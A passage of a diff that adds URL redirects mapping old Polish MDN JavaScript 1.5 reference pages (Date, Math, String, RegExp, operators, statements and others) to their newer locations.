+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setUTCHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCHours
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setUTCMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCMilliseconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setUTCMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCMinutes
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setUTCMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCMonth
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setUTCSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCSeconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setYear
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:toGMTString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toGMTString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:toLocaleDateString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleDateString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:toLocaleString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:toLocaleTimeString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:toUTCString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toUTCString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/valueOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Error /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Error
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function:apply /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/apply
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function:arguments /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/arguments
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function:arity /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/arity
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function:call /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/call
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function:caller /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/caller
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function:constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Function
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function:length /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/length
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function:prototype /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function:toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function:toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Function:valueOf /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/valueOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:JavaArray /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaArray
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:JavaArray:length /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaArray/length
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:JavaArray:toString /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaArray/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:JavaClass /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaClass
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:JavaObject /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaObject
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:JavaPackage /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaPackage
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math /pl/docs/Web/JavaScript/Referencje/Obiekty/Math
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:E /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/E
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:LN10 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LN10
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:LN2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LN2
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:LOG10E /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LOG10E
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:LOG2E /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LOG2E
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:PI /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/PI
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:SQRT1_2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/SQRT1_2
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:SQRT2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/SQRT2
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:abs /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/abs
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:acos /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/acos
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:asin /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/asin
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:atan /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/atan
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:atan2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/atan2
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:ceil /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/ceil
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:cos /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/cos
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:exp /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/exp
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:floor /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/floor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:log /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/log
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:max /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/max
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:min /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/min
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:pow /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/pow
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:random /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/random
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:round /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/round
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:sin /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/sin
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:sqrt /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/sqrt
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Math:tan /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/tan
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Number /pl/docs/Web/JavaScript/Referencje/Obiekty/Number
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Number:MAX_VALUE /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/MAX_VALUE
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Number:MIN_VALUE /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/MIN_VALUE
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Number:NEGATIVE_INFINITY /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/NEGATIVE_INFINITY
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Number:NaN /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/NaN
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Number:POSITIVE_INFINITY /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/POSITIVE_INFINITY
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Number:constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/constructor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Number:toExponential /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toExponential
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Number:toFixed /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toFixed
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Number:toPrecision /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toPrecision
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Number:toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Object /pl/docs/Web/JavaScript/Referencje/Obiekty/Object
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Object:constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/constructor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Object:eval /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/eval
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Object:isPrototypeOf /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/isPrototypeOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Object:prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Object:toLocaleString /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/toLocaleString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Object:toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Object:toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Object:unwatch /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/unwatch
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Object:valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/valueOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Object:watch /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/watch
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Packages /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Packages:java /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/java
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Packages:nazwaKlasy /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/nazwaKlasy
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Packages:netscape /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/netscape
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Packages:sun /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/sun
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp:constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp:exec /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/exec
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp:global /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/global
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp:ignoreCase /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/ignoreCase
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp:lastIndex /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/lastIndex
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp:multiline /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/multiline
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp:prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp:source /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/source
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp:test /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/test
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp:toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:RegExp:toString /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String /pl/docs/Web/JavaScript/Referencje/Obiekty/String
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:anchor /pl/docs/Web/JavaScript/Referencje/Obiekty/String/anchor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:big /pl/docs/Web/JavaScript/Referencje/Obiekty/String/big
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:blink /pl/docs/Web/JavaScript/Referencje/Obiekty/String/blink
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:bold /pl/docs/Web/JavaScript/Referencje/Obiekty/String/bold
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:charAt /pl/docs/Web/JavaScript/Referencje/Obiekty/String/charAt
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:charCodeAt /pl/docs/Web/JavaScript/Referencje/Obiekty/String/charCodeAt
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:concat /pl/docs/Web/JavaScript/Referencje/Obiekty/String/concat
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/String
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:fixed /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fixed
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:fontcolor /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fontcolor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:fontsize /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fontsize
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:fromCharCode /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fromCharCode
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:indexOf /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/indexOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:italics /pl/docs/Web/JavaScript/Referencje/Obiekty/String/italics
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:lastIndexOf /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/lastIndexOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:length /pl/docs/Web/JavaScript/Referencje/Obiekty/String/length
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:link /pl/docs/Web/JavaScript/Referencje/Obiekty/String/link
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:match /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/match
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/String/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:replace /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/replace
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:search /pl/docs/Web/JavaScript/Referencje/Obiekty/String/search
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:slice /pl/docs/Web/JavaScript/Referencje/Obiekty/String/slice
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:small /pl/docs/Web/JavaScript/Referencje/Obiekty/String/small
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:split /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/split
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:strike /pl/docs/Web/JavaScript/Referencje/Obiekty/String/strike
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:sub /pl/docs/Web/JavaScript/Referencje/Obiekty/String/sub
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:substr /pl/docs/Web/JavaScript/Referencje/Obiekty/String/substr
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:substring /pl/docs/Web/JavaScript/Referencje/Obiekty/String/substring
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:sup /pl/docs/Web/JavaScript/Referencje/Obiekty/String/sup
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:toLowerCase /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toLowerCase
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:toString /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:toUpperCase /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toUpperCase
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:String:valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/String/valueOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:java /pl/docs/Web/JavaScript/Referencje/Obiekty/java
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:netscape /pl/docs/Web/JavaScript/Referencje/Obiekty/netscape
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:sun /pl/docs/Web/JavaScript/Referencje/Obiekty/sun
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory /pl/docs/Web/JavaScript/Referencje/Operatory
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_arytmetyczne /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_arytmetyczne
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_bitowe /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_bitowe
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_dzia%C5%82aj%C4%85ce_na_ci%C4%85gach_znak%C3%B3w /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_dzia%C5%82aj%C4%85ce_na_ci%C4%85gach_znak%C3%B3w
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_logiczne /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_logiczne
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_pami%C4%99ci /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_pami%C4%99ci
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_por%C3%B3wnania /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_por%C3%B3wnania
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_przypisania /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_przypisania
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_specjalne /pl/docs/Web/JavaScript/Referencje/Operatory
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_specjalne:Operator_delete /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_delete
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_specjalne:Operator_function /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_function
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_specjalne:Operator_in /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_in
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_specjalne:Operator_instanceof /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_instanceof
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_specjalne:Operator_new /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_new
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_specjalne:Operator_przecinkowy /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_przecinkowy
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_specjalne:Operator_this /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_this
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_specjalne:Operator_typeof /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_typeof
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_specjalne:Operator_void /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_void
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Operatory_specjalne:Operator_warunkowy /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_warunkowy
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Operatory:Pierwsze%C5%84stwo_operator%C3%B3w /pl/docs/Web/JavaScript/Referencje/Operatory/Pierwsze%C5%84stwo_operator%C3%B3w
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia /pl/docs/Web/JavaScript/Referencje/Polecenia
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:block /pl/docs/Web/JavaScript/Referencje/Polecenia/block
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:break /pl/docs/Web/JavaScript/Referencje/Polecenia/break
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:const /pl/docs/Web/JavaScript/Referencje/Polecenia/const
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:continue /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/continue
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:do...while /pl/docs/Web/JavaScript/Referencje/Polecenia/do...while
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:etykieta /pl/docs/Web/JavaScript/Referencje/Polecenia/etykieta
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:export /pl/docs/Web/JavaScript/Referencje/Polecenia/export
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:for /pl/docs/Web/JavaScript/Referencje/Polecenia/for
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:for...in /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/for...in
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:function /pl/docs/Web/JavaScript/Referencje/Polecenia/function
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:if...else /pl/docs/Web/JavaScript/Referencje/Polecenia/if...else
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:import /pl/docs/Web/JavaScript/Referencje/Polecenia/import
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:return /pl/docs/Web/JavaScript/Referencje/Polecenia/return
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:switch /pl/docs/Web/JavaScript/Referencje/Polecenia/switch
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:throw /pl/docs/Web/JavaScript/Referencje/Polecenia/throw
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:try...catch /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/try...catch
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:var /pl/docs/Web/JavaScript/Referencje/Polecenia/var
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:while /pl/docs/Web/JavaScript/Referencje/Polecenia/while
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Polecenia:with /pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/with
